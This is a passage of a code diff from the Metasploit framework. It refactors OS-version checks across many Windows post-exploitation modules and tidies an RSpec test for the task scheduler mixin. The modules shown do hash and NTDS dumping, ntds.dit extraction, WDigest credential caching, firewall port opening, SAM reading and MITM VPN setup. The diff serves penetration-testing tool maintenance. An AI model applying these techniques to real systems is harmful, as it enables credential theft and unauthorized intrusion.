|
||||
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
|
||||
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}"
|
||||
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
|
||||
print_status "Moving ntds.dit to #{target_path}"
|
||||
move_file(sc_path, target_path)
|
||||
target_path
|
||||
|
|
|
@ -44,7 +44,7 @@ class MetasploitModule < Msf::Post
|
|||
# Run Method for when run command is issued
|
||||
def run
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
enum_users(sysinfo['OS']).each do |user|
|
||||
enum_users.each do |user|
|
||||
if user['userpath']
|
||||
print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
|
||||
extract_lnk_info(user['userpath'])
|
||||
|
@ -60,15 +60,15 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
def enum_users(os)
|
||||
def enum_users
|
||||
users = []
|
||||
userinfo = {}
|
||||
user = session.sys.config.getuid
|
||||
session.sys.config.getuid
|
||||
userpath = nil
|
||||
useroffcpath = nil
|
||||
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
|
||||
sysdrv = env_vars['SystemDrive']
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Vista_SP0
|
||||
userpath = sysdrv + '\\Users\\'
|
||||
lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\'
|
||||
officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\'
|
||||
|
@ -104,7 +104,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# This is a hack because Meterpreter doesn't support exists?(file)
|
||||
def dir_entry_exists(path)
|
||||
files = session.fs.dir.entries(path)
|
||||
session.fs.dir.entries(path)
|
||||
rescue StandardError
|
||||
return nil
|
||||
else
|
||||
|
@ -114,7 +114,6 @@ class MetasploitModule < Msf::Post
|
|||
def extract_lnk_info(path)
|
||||
session.fs.dir.foreach(path) do |file_name|
|
||||
if file_name =~ /\.lnk$/ # We have a .lnk file
|
||||
record = nil
|
||||
offset = 0 # TODO: Look at moving this to smaller scope
|
||||
lnk_file = session.fs.file.new(path + file_name, 'rb')
|
||||
record = lnk_file.sysread(0x04)
|
||||
|
@ -186,7 +185,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
lnk_file.close
|
||||
logfile = store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')
|
||||
store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::FileSystem
|
||||
include Msf::Post::Windows::Version
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -29,7 +30,6 @@ class MetasploitModule < Msf::Post
|
|||
stdapi_fs_search
|
||||
stdapi_railgun_api
|
||||
stdapi_sys_config_getenv
|
||||
stdapi_sys_config_sysinfo
|
||||
]
|
||||
}
|
||||
}
|
||||
|
@ -46,21 +46,21 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def download_files(location, file_type)
|
||||
sysdriv = client.sys.config.getenv('SYSTEMDRIVE')
|
||||
sysnfo = client.sys.config.sysinfo['OS']
|
||||
profile_path_old = sysdriv + '\\Documents and Settings\\'
|
||||
profile_path_new = sysdriv + '\\Users\\'
|
||||
|
||||
version = get_version_info
|
||||
if location
|
||||
print_status("Searching #{location}")
|
||||
getfile = client.fs.file.search(location, file_type, recurse = true, timeout = -1)
|
||||
getfile = client.fs.file.search(location, file_type, true, -1)
|
||||
|
||||
elsif sysnfo =~ /(Windows XP|2003|.NET)/
|
||||
elsif version.build_number < Msf::WindowsVersion::Vista_SP0
|
||||
print_status("Searching #{profile_path_old} through windows user profile structure")
|
||||
getfile = client.fs.file.search(profile_path_old, file_type, recurse = true, timeout = -1)
|
||||
getfile = client.fs.file.search(profile_path_old, file_type, true, -1)
|
||||
else
|
||||
# For systems such as: Windows 7|Windows Vista|2008
|
||||
print_status("Searching #{profile_path_new} through windows user profile structure")
|
||||
getfile = client.fs.file.search(profile_path_new, file_type, recurse = true, timeout = -1)
|
||||
getfile = client.fs.file.search(profile_path_new, file_type, true, -1)
|
||||
end
|
||||
|
||||
getfile.each do |file|
|
||||
|
|
|
@ -230,14 +230,14 @@ class MetasploitModule < Msf::Post
|
|||
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
|
||||
def run
|
||||
print_status('Starting to enumerate MUICache registry keys...')
|
||||
sys_info = sysinfo['OS']
|
||||
version = get_version_info
|
||||
|
||||
if sys_info =~ /Windows XP/ && is_admin?
|
||||
print_good("Remote system supported: #{sys_info}")
|
||||
if version.xp_or_2003? && is_admin?
|
||||
print_good("Remote system supported: #{version.product_name}")
|
||||
muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache'
|
||||
hive_file = '\\NTUSER.DAT'
|
||||
elsif sys_info =~ /Windows 7/ && is_admin?
|
||||
print_good("Remote system supported: #{sys_info}")
|
||||
elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin?
|
||||
print_good("Remote system supported: #{version.product_name}")
|
||||
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"
|
||||
hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat'
|
||||
else
|
||||
|
|
|
@ -28,7 +28,6 @@ class MetasploitModule < Msf::Post
|
|||
'Commands' => %w[
|
||||
stdapi_fs_search
|
||||
stdapi_sys_config_getenv
|
||||
stdapi_sys_config_sysinfo
|
||||
]
|
||||
}
|
||||
}
|
||||
|
@ -139,10 +138,10 @@ class MetasploitModule < Msf::Post
|
|||
# http://www.forensicswiki.org/wiki/Prefetch
|
||||
# http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format
|
||||
|
||||
sysnfo = client.sys.config.sysinfo['OS']
|
||||
error_msg = "You don't have enough privileges. Try getsystem."
|
||||
|
||||
if sysnfo =~ /(Windows XP|2003|.NET)/
|
||||
version = get_version_info
|
||||
if version.xp_or_2003?
|
||||
|
||||
if !is_admin?
|
||||
print_error(error_msg)
|
||||
|
@ -150,7 +149,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
# Offsets for WinXP & Win2k3
|
||||
print_good("Detected #{sysnfo} (max 128 entries)")
|
||||
print_good("Detected #{version.product_name} (max 128 entries)")
|
||||
name_offset = 0x10
|
||||
hash_offset = 0x4C
|
||||
runcount_offset = 0x90
|
||||
|
@ -158,14 +157,14 @@ class MetasploitModule < Msf::Post
|
|||
# Registry key for timezone
|
||||
key_value = 'StandardName'
|
||||
|
||||
elsif sysnfo =~ /(Windows 7)/
|
||||
elsif version.win7_or_2008r2? && !version.windows_server?
|
||||
if !is_admin?
|
||||
print_error(error_msg)
|
||||
return nil
|
||||
end
|
||||
|
||||
# Offsets for Win7
|
||||
print_good("Detected #{sysnfo} (max 128 entries)")
|
||||
print_good("Detected #{version.product_name} (max 128 entries)")
|
||||
name_offset = 0x10
|
||||
hash_offset = 0x4C
|
||||
runcount_offset = 0x98
|
||||
|
|
|
@ -44,9 +44,9 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
winver = sysinfo['OS']
|
||||
version = get_version_info
|
||||
|
||||
fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/
|
||||
fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if version.build_number == Msf::WindowsVersion::Win2000
|
||||
fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
|
||||
|
||||
file_path = datastore['FILE_PATH']
|
||||
|
|
|
@ -46,9 +46,8 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
winver = sysinfo['OS']
|
||||
|
||||
if winver =~ /2000/i
|
||||
version = get_version_info
|
||||
if version.build_number == Msf::WindowsVersion::Win2000
|
||||
print_error('Module not valid for Windows 2000')
|
||||
return
|
||||
end
|
||||
|
@ -66,7 +65,7 @@ class MetasploitModule < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
print_status("System Info - OS: #{winver}, Drive: #{drive}")
|
||||
print_status("System Info - OS: #{version.product_name}, Drive: #{drive}")
|
||||
type = datastore['FILES']
|
||||
files = type.split(',')
|
||||
# To extract files from its IDs
|
||||
|
@ -106,7 +105,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# Recover the content of the file/files requested
|
||||
def recover_file(offset, handle)
|
||||
ra = file_system_features(handle)
|
||||
file_system_features(handle)
|
||||
# Offset could be in a comma separated list of IDs
|
||||
0.upto(offset.size - 1) do |i|
|
||||
val = get_high_low_values(offset[i].to_i)
|
||||
|
@ -199,8 +198,8 @@ class MetasploitModule < Msf::Post
|
|||
log_cluster = datarun[-n_log_cluster..]
|
||||
offset = datarun[1..n_offset]
|
||||
|
||||
log_cluster << "\x00" if (log_cluster.size % 2 != 0)
|
||||
offset << "\x00" if (offset.size % 2 != 0)
|
||||
log_cluster << "\x00" if log_cluster.size.odd?
|
||||
offset << "\x00" if offset.size.odd?
|
||||
# The logical cluster value could be negative so we need to get the 2 complement in those cases
|
||||
if log_cluster.size == 2
|
||||
int_log_cluster = log_cluster.unpack('v*')[0]
|
||||
|
|
|
@ -76,7 +76,8 @@ class MetasploitModule < Msf::Post
|
|||
# Uses DC which applied policy since it would be a DC this device normally talks to
|
||||
cmd = 'gpresult /SCOPE COMPUTER'
|
||||
# If Vista/2008 or later add /R
|
||||
if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Vista_SP0
|
||||
cmd << ' /R'
|
||||
end
|
||||
res = cmd_exec('cmd.exe', "/c #{cmd}")
|
||||
|
@ -111,7 +112,7 @@ class MetasploitModule < Msf::Post
|
|||
begin
|
||||
# Connect to host and enumerate logged in users
|
||||
winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
|
||||
rescue ::Exception => e
|
||||
rescue ::Exception
|
||||
print_error("Issue enumerating users on #{host}")
|
||||
return userlist
|
||||
end
|
||||
|
|
|
@ -417,16 +417,17 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
if !is_uac_enabled? || is_admin?
|
||||
print_status('Dumping password hashes...')
|
||||
version = get_version_info
|
||||
# Check if Running as SYSTEM
|
||||
if is_system?
|
||||
# For DC's the registry read method does not work.
|
||||
if domain_controller
|
||||
begin
|
||||
file_local_write(pwdfile, inject_hashdump)
|
||||
rescue ::Exception => e
|
||||
rescue ::Exception
|
||||
print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process')
|
||||
|
||||
if sysinfo['OS'] =~ /Windows (2008|2012)/i
|
||||
if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server?
|
||||
move_to_sys
|
||||
file_local_write(pwdfile, inject_hashdump)
|
||||
else
|
||||
|
@ -452,7 +453,7 @@ class MetasploitModule < Msf::Post
|
|||
results = session.priv.getsystem
|
||||
if results[0]
|
||||
print_good('Got SYSTEM privilege')
|
||||
if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i
|
||||
if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server?
|
||||
# Migrate process since on Windows 2008 R2 getsystem
|
||||
# does not set certain privilege tokens required to
|
||||
# inject and dump the hashes.
|
||||
|
@ -466,7 +467,7 @@ class MetasploitModule < Msf::Post
|
|||
print_error('Could not get NTDS hashes!')
|
||||
end
|
||||
end
|
||||
elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i
|
||||
elsif version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)
|
||||
if migrate_system
|
||||
print_status('Trying to get SYSTEM privilege')
|
||||
results = session.priv.getsystem
|
||||
|
|
|
@ -62,39 +62,38 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def get_eproc_offsets
|
||||
sysinfo_value = sysinfo['OS']
|
||||
unless sysinfo_value =~ /Windows/
|
||||
print_status("Target is not Windows. Found #{sysinfo_value}")
|
||||
unless session.platform == 'windows'
|
||||
print_status("Target is not Windows. Found #{session.platform}")
|
||||
return nil
|
||||
end
|
||||
|
||||
build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
version = get_version_info
|
||||
vprint_status("Windows Build Number = #{version.build_number}")
|
||||
|
||||
# UniqueProcessIdOffset, ActiveProcessLinksOffset, SignatureLevelOffset
|
||||
offsets = {
|
||||
10240 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold
|
||||
10586 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update
|
||||
14393 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update
|
||||
15063 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update
|
||||
16299 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update
|
||||
17134 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update
|
||||
17763 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update
|
||||
18362 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update
|
||||
18363 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update
|
||||
19041 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update
|
||||
19042 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update
|
||||
19043 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update
|
||||
19044 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update
|
||||
22000 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021
|
||||
Msf::WindowsVersion::Win10_1507 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold
|
||||
Msf::WindowsVersion::Win10_1511 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update
|
||||
Msf::WindowsVersion::Win10_1607 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update
|
||||
Msf::WindowsVersion::Win10_1703 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update
|
||||
Msf::WindowsVersion::Win10_1709 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update
|
||||
Msf::WindowsVersion::Win10_1803 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update
|
||||
Msf::WindowsVersion::Win10_1809 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update
|
||||
Msf::WindowsVersion::Win10_1903 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update
|
||||
Msf::WindowsVersion::Win10_1909 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update
|
||||
Msf::WindowsVersion::Win10_2004 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update
|
||||
Msf::WindowsVersion::Win10_20H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update
|
||||
Msf::WindowsVersion::Win10_21H1 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update
|
||||
Msf::WindowsVersion::Win10_21H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update
|
||||
Msf::WindowsVersion::Win11_21H2 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021
|
||||
}
|
||||
|
||||
unless offsets.key?(build_num)
|
||||
print_status("Unknown offsets for Windows build #{build_num}")
|
||||
unless offsets.key?(version.build_number)
|
||||
print_status("Unknown offsets for Windows build #{version.build_number}")
|
||||
return nil
|
||||
end
|
||||
|
||||
return offsets[build_num]
|
||||
return offsets[version.build_number]
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -104,7 +103,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
offsets = get_eproc_offsets
|
||||
if offsets.nil?
|
||||
fail_with(Failure::NoTarget, 'Unsupported targeted')
|
||||
fail_with(Failure::NoTarget, 'Unsupported target')
|
||||
end
|
||||
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
|
|
|
@ -62,13 +62,13 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
wver = sysinfo['OS']
|
||||
if wver !~ /Windows XP|Windows .NET|Windows 2003/
|
||||
print_error("#{wver} is not supported")
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::Server2003_SP2)
|
||||
print_error("#{version.product_name} is not supported")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Target OS is #{wver}")
|
||||
print_status("Target OS is #{version.product_name}")
|
||||
names_key = registry_enumkeys(reg_key + '\\Names')
|
||||
unless names_key
|
||||
print_error("Couldn't access registry keys")
|
||||
|
|
|
@ -43,7 +43,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# Due to a bug in Windows XP you need to install IPv6
|
||||
# http://support.microsoft.com/kb/555744/en-us
|
||||
if sysinfo['OS'] =~ (/XP/) && !check_ipv6
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv6
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -113,7 +114,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def fw_enable_ports
|
||||
print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
|
||||
if sysinfo['OS'] =~ /Windows 7|Vista|2008|2012/
|
||||
version = get_version_info
|
||||
if version.build_number >= Msf::WindowsVersion::Vista_SP0
|
||||
cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
|
||||
else
|
||||
cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
|
||||
|
|
|
@ -42,7 +42,8 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
disable_network_wizard if sysinfo['OS'] =~ /Windows 7|Vista|2008/
|
||||
version = get_version_info
|
||||
disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1)
|
||||
|
||||
pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME'])
|
||||
to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT']
|
||||
|
@ -77,7 +78,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def create_pbk(mim, pbk_name)
|
||||
pbk_dir = expand_path('%TEMP%')
|
||||
pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pbk'
|
||||
pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(rand(6..13)) << '.pbk'
|
||||
|
||||
conf_conn = "[#{pbk_name}]\r\n\r\n"
|
||||
conf_conn += "MEDIA=rastapi\r\n"
|
||||
|
|
|
@ -122,8 +122,8 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
# Checks the Windows Version.
|
||||
wver = sysinfo['OS']
|
||||
print_status("Target OS: #{wver}")
|
||||
version = get_version_info
|
||||
print_status("Target OS: #{version.product_name}")
|
||||
|
||||
# Load the usernames from SAM Registry key
|
||||
names_key = registry_enumkeys(reg_key + '\\Names')
|
||||
|
|
|
@ -5,9 +5,10 @@
|
|||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Version
|
||||
|
||||
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
|
||||
USE_LOGON_CREDENTIAL = 'UseLogonCredential'
|
||||
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'.freeze
|
||||
USE_LOGON_CREDENTIAL = 'UseLogonCredential'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -38,7 +39,8 @@ class MetasploitModule < Msf::Post
|
|||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
# Check if OS is 8/2012 or newer. If not, no need to set the registry key
|
||||
# Can be backported to Windows 7, 2k8R2 but defaults to enabled...
|
||||
if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i
|
||||
version = get_version_info
|
||||
if version.build_number < Msf::WindowsVersion::Win7_SP0
|
||||
print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
|
||||
else
|
||||
datastore['ENABLE'] ? wdigest_enable : wdigest_disable
|
||||
|
|
|
@ -161,8 +161,9 @@ class MetasploitModule < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
if sysinfo['OS'] =~ /XP/
|
||||
print_error('Windows XP is not supported')
|
||||
version = get_version_info
|
||||
if version.xp_or_2003?
|
||||
print_error('Windows XP/Server 2003 is not supported')
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Post::Windows::TaskScheduler do
|
||||
|
||||
let(:task_name) { Rex::Text.rand_text_alpha(rand(8)) }
|
||||
let(:datastore) do
|
||||
{
|
||||
|
@ -145,14 +144,13 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
context 'on older Windows' do
|
||||
it 'executes the expected command to query a task' do
|
||||
subject.instance_variable_set(:@old_os, true)
|
||||
cmd = "schtasks /query /v /fo csv"
|
||||
cmd = 'schtasks /query /v /fo csv'
|
||||
expect(subject).to receive(:schtasks_exec).with(cmd, with_result: true)
|
||||
subject.task_query(task_name)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Private methods
|
||||
#
|
||||
|
@ -160,7 +158,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
describe '#check_compatibility' do
|
||||
context 'with Windows XP SP2' do
|
||||
before :example do
|
||||
allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows XP (5.1 Build 2600, Service Pack 2)." } )
|
||||
allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 1, 2600, 2, Msf::WindowsVersion::VER_NT_WORKSTATION))
|
||||
end
|
||||
it 'sets `@old_schtasks` and `@old_os` to true' do
|
||||
subject.send(:check_compatibility)
|
||||
|
@ -171,7 +169,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
|
||||
context 'with Windows Server 2003 SP2' do
|
||||
before :example do
|
||||
allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows .NET Server (5.2 Build 3790, Service Pack 2)." } )
|
||||
allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 2, 3790, 2, Msf::WindowsVersion::VER_NT_SERVER))
|
||||
end
|
||||
it 'sets `@old_schtasks` to false and `@old_os` to true' do
|
||||
subject.send(:check_compatibility)
|
||||
|
@ -182,7 +180,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
|
||||
context 'with Windows Server 2016' do
|
||||
before :example do
|
||||
allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows 2016+ (10.0 Build 14393)." } )
|
||||
allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(10, 0, 14393, 0, Msf::WindowsVersion::VER_NT_SERVER))
|
||||
end
|
||||
it 'sets `@old_schtasks` and `@old_os` to false' do
|
||||
subject.send(:check_compatibility)
|
||||
|
@ -195,7 +193,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
describe '#log_and_print' do
|
||||
let(:msg) { double('log message') }
|
||||
before :example do
|
||||
mock_methods = [ :vprint_status, :vprint_good, :vprint_error, :dlog, :ilog, :wlog, :elog ]
|
||||
mock_methods = %i[vprint_status vprint_good vprint_error dlog ilog wlog elog]
|
||||
mock_methods.each { |meth| allow(subject).to receive(meth) }
|
||||
end
|
||||
|
||||
|
@ -249,7 +247,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
it 'returns the expected command string' do
|
||||
cmd_in = %w[/test /flag1 value1]
|
||||
cmd_out = "schtasks #{cmd_in.join(' ')}"
|
||||
expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out)
|
||||
expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -264,7 +262,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
it 'returns the expected command string' do
|
||||
cmd_in = %w[/test /flag1 value1]
|
||||
cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd"
|
||||
expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out)
|
||||
expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -279,12 +277,11 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
it 'returns the expected command string' do
|
||||
cmd_in = %w[/test /flag1 value1]
|
||||
cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd"
|
||||
expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)). to eq(cmd_out)
|
||||
expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)).to eq(cmd_out)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe '#schtasks_exec' do
|
||||
let(:result) { [ Rex::Text.rand_text_alpha(rand(8)), true ] }
|
||||
let(:cmd) { double('Command') }
|
||||
|
@ -371,7 +368,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
|
||||
describe '#task_info_field' do
|
||||
let(:task_name) { 'fzuZbSwfXc' }
|
||||
let(:task_info) {
|
||||
let(:task_info) do
|
||||
info = '"HostName","TaskName","Next Run Time","Status","Logon Mode","Last Run Time","Last Result","Author",'\
|
||||
'"Task To Run","Start In","Comment","Scheduled Task State","Idle Time","Power Management","Run As User",'\
|
||||
'"Delete Task If Not Rescheduled","Stop Task If Runs X Hours and X Mins","Schedule","Schedule Type",'\
|
||||
|
@ -384,7 +381,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
'Batteries","SYSTEM","Disabled","72:00:00","Scheduling data is not available in this format.","One Time '\
|
||||
'Only","12:00:00 AM","5/10/2020","N/A","N/A","N/A","Disabled","Disabled","Disabled","Disabled"'
|
||||
info
|
||||
}
|
||||
end
|
||||
let(:key) { 'Task To Run' }
|
||||
let(:result) { 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DGvtFiFtnZQVmtY" /v "SD"' }
|
||||
|
||||
|
@ -566,7 +563,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
|
||||
context 'when the `ScheduleRemoteSystem` datastore option is set' do
|
||||
before :example do
|
||||
datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } )
|
||||
datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' })
|
||||
end
|
||||
|
||||
it 'executes the expected command' do
|
||||
|
@ -581,7 +578,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
context 'when the `:remote_system` hash option is passed as argument' do
|
||||
it 'executes the expected command' do
|
||||
expect(subject).to receive(:run_one_off_task).with(cmd, check_success: true)
|
||||
subject.send(:reg_key_value_exists?, reg_key, reg_value, {remote_system: '1.2.3.4'})
|
||||
subject.send(:reg_key_value_exists?, reg_key, reg_value, { remote_system: '1.2.3.4' })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -645,7 +642,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
|
||||
context 'when the `ScheduleRemoteSystem` datastore option is set' do
|
||||
it 'executes the expected command' do
|
||||
datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } )
|
||||
datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' })
|
||||
expect(subject).to receive(:run_one_off_task).with(cmd)
|
||||
subject.send(:delete_reg_key_value, reg_key, reg_value)
|
||||
end
|
||||
|
@ -654,7 +651,7 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
context 'when the `:remote_system` hash option is passed as argument' do
|
||||
it 'executes the expected command' do
|
||||
expect(subject).to receive(:run_one_off_task).with(cmd)
|
||||
subject.send(:delete_reg_key_value, reg_key, reg_value, {remote_system: '1.2.3.4'})
|
||||
subject.send(:delete_reg_key_value, reg_key, reg_value, { remote_system: '1.2.3.4' })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -697,14 +694,14 @@ RSpec.describe Msf::Post::Windows::TaskScheduler do
|
|||
context 'when the :override option is set to false' do
|
||||
it 'does not override it' do
|
||||
expect(subject).to_not receive(:cmd_exec_with_result)
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: false})
|
||||
subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: false })
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the :override option is set to true' do
|
||||
it 'overrides it' do
|
